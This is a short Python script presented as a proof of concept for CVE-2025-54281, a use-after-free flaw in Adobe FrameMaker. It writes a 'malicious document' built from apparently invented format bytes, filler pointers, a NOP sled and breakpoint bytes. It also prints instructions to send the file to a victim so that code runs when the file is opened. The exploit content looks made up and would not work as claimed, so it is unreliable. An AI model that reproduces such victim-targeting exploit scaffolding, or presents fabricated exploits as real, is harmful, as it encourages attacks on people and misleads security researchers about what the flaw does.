CVE-2025-54281

# CVE-2025-54281 - Adobe Framemaker Use After Free Vulnerability PoC # This PoC demonstrates the concept of triggering a Use After Free vulnerability # in Adobe Framemaker through a malicious document file. # NOTE: This is a conceptual PoC for educational and research purposes only. import struct import sys # Malicious document header simulating Adobe Framemaker document format MALICIOUS_DOC_HEADER = b'\x46\x4D\x4B\x52' # "FMKR" magic bytes def create_malicious_document(output_path): """ Create a malicious document that triggers the Use After Free vulnerability in Adobe Framemaker versions 2020.9, 2022.7 and earlier. """ payload = b'' # Document header payload += MALICIOUS_DOC_HEADER # Crafted object reference to trigger UAF # The vulnerability occurs when a freed object is accessed again payload += struct.pack('<I', 0x41414141) # Freed object pointer reference payload += struct.pack('<I', 0x42424242) # Use-after-free trigger offset # Shellcode placeholder (would be replaced with actual payload in real exploit) payload += b'\x90' * 256 # NOP sled payload += b'\xCC' * 128 # INT3 breakpoints for debugging # Document footer payload += b'\x45\x4F\x46\x4D' # End of document marker with open(output_path, 'wb') as f: f.write(payload) print(f"[+] Malicious document created: {output_path}") print(f"[!] Send this file to a victim using Adobe Framemaker 2020.9/2022.7 or earlier") print(f"[!] When the victim opens the file, arbitrary code execution may occur") if __name__ == "__main__": output = sys.argv[1] if len(sys.argv) > 1 else "exploit.fm" create_malicious_document(output)

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